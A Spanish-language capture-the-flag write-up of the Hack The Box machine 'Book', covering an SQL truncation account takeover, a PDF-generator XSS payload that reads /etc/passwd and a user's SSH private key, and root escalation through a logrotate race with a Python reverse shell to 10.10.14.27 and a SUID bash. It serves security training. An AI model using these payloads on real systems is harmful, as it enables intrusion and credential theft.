Hack The Box - Book
Book es una máquina de la plataforma HTB. Cuenta con un nivel de dificultad medio; para obtener acceso, primero explotaremos una SQL Truncation y nos haremos con privilegios de admin en el servicio HTTP, nos valdremos de los PDF’s que genera el propio servicio web para leer la key ssh privada del usuario reader. Una vez seamos usuario con bajos privilegios, nos convertiremos en root ganando una race condition en el servicio logrotate.

Resumen
- Vulnerando la página de registro usando
SQL Truncation. - Entrando al panel como
administrador. - Obtener las claves privadas
sshusando elPath traversal attackvíaXSS. - Leemos la flag
user.txt. - Atacando el servicio
logrotateque está corriendo bajo contextoroot. - Leemos la flag
root.txt.
Escaneo de puertos
/home/silexx/HTB/book # nmap -p- --open -T5 -v -n 10.10.10.176
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-10 16:45 CEST
Initiating Ping Scan at 16:45
Scanning 10.10.10.176 [4 ports]
Completed Ping Scan at 16:45, 0.18s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 16:45
Scanning 10.10.10.176 [65535 ports]
Discovered open port 22/tcp on 10.10.10.176
Discovered open port 80/tcp on 10.10.10.176
Completed SYN Stealth Scan at 16:46, 45.85s elapsed (65535 total ports)
Nmap scan report for 10.10.10.176
Host is up (0.11s latency).
Not shown: 63593 closed ports, 1940 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
/home/silexx/HTB/book # nmap -sCV -p22,80 10.10.10.176
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-10 16:47 CEST
Nmap scan report for 10.10.10.176
Host is up (0.32s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
| 256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
|_ 256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have Fun
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Servicio HTTP
Encontramos un panel login cuando navegamos al sitio web:

Intenté entrar con la combinación admin:admin entre otras pero ninguna dió resultado. Ya que hay una opción para ello, me registré y accedí a la biblioteca.

Vemos que existe un usuario con email admin@book.htb.
En el apartado Collections podemos subir archivos PDF y existen 2 campos de entrada: Book Title y Author.

SQL Truncation
Mirando el source del panel login encontré algo interesante.
function validateForm() {
var x = document.forms["myForm"]["name"].value;
var y = document.forms["myForm"]["email"].value;
if (x == "") {
alert("Please fill name field. Should not be more than 10 characters");
return false;
}
if (y == "") {
alert("Please fill email field. Should not be more than 20 characters");
return false;
}
}
El campo name está limitado a 10 caracteres mientras que email tiene un límite de 20.
Investigando sobre esto, encontré este post acerca de la SQL Truncation.
Debido a como maneja la base de datos las entradas, podemos restablecer la contraseña del administrador creando un nuevo usuario con admin como nombre de usuario y una dirección de correo electrónico admin@book.htb. Por supuesto, no podemos crear la cuenta así porque el usuario ya existe. Así que el truco aquí es enviar vía POST, una dirección de correo electrónico con espacios hasta 20 caracteres y añadir un carácter extra al final para que se trunque. Necesitamos el carácter extra al final porque la aplicación primero quita los espacios en blanco al final de la cadena.
Con el objetivo de explotar esta vulnerabilidad usaremos Burp Suite para capturar la request de registro y modificar el campo email:

Escribiendo 20 caracteres más 1 en el campo email conseguimos explotar esta vulnerabilidad e iniciar sesión como admin:

Pero vemos que no podemos hacer nada diferente a un usuario normal así que podemos intuir que hay un panel de acceso para los administradores. Lo encontramos vía fuzzing: http://10.10.10.176/admin/.

Path traversal attack vía XSS
Enumerando el panel admin encontramos que podemos descargar los archivos subidos por los usuarios en http://10.10.10.176/admin/collections.php.

Los usuarios pueden subir archivos en http://10.10.10.176/collections.php.

Así que subí un archivo a modo de prueba.

Descargando el archivo en Collections vemos que los campos Author y Book Title se ven reflejados en el PDF.

Esto es un claro caso de posible XSS; haciendo un poco de búsqueda en Google me topé con este post acerca de XSS y PDF’s generados dinámicamente. Este fue el payload utilizado:
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>

Cuando descargamos el PDF generado, obtenemos:

Como se puede observar, tanto el usuario reader como root tienen una bash asignada y si recordamos, el servicio SSH estaba activo en la máquina. Probamos a obtener la key ssh con el mismo método.
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///home/reader/.ssh/id_rsa");
x.send();
</script>

Copiamos y pegamos desde el PDF:

Le damos permiso 600 a la key y accedemos por SSH a la máquina.

Flag user.txt
reader@book:~$ cat user.txt && wc -c user.txt
51c1d4b519----------37f8778f95bc
33 user.txt
Escalada de privilegios
Después de un rato enumerando el sistema, decidí ejecutar el binario pspy en orden a enumerar servicios de manera más precisa. Descubrí que estaba siendo ejecutado un programa llamado logrotate, lo cual me llamó la atención. De nuevo haciendo una búsqueda por la web encontré que es posible escalar privilegios cuando este binario es ejecutado bajo contexto de root. La manera de efectuar este ataque está totalmente documentada en: https://github.com/whotwagner/logrotten y aquí. Para leer sobre los detalles de la race condition me remito a este artículo.
Subimos el archivo logrotten.c a la máquina víctima:
/home/silexx/HTB/book # scp -i id_rsa logrotten.c reader@10.10.10.176:/dev/shm
El log está en /home/reader/backups/access.log.
Compilamos logrotten usando gcc:
gcc -o logrotten logrotten.c
Creamos nuestro payload con una shell reversa en Python porque sabemos que está instalado tras hacer which python.
reader@book:/dev/shm$ echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.27",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'" > payloadfile
Corremos el binario logrotten y ponemos a la escucha un listener:
reader@book:/dev/shm$ ./logrotten -p payloadfile /home/reader/backups/access.log
Waiting for rotating /home/reader/backups/access.log...
Abrimos otra sesión SSH e intentamos escribir en access.log
reader@book:~/backups$ echo "test" > access.log
Como la shell que recibimos es terminada rápidamente lo que hice fue asignar SUID al binario bash:
┌─[✗]─[root@parrot]─[/home/silexx/HTB/book]
└──╼ $nc -nlvp 9999
listening on [any] 9999 ...
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.176] 50008
# chmod 4755 /bin/bash
#
Flag root.txt
reader@book:~$ bash -p
bash-4.4# whoami
root
bash-4.4# cat /root/root.txt
84da92a----------31297f70dd89714
Cualquier feedback es bienvenido, ¡gracias por leerme🤩!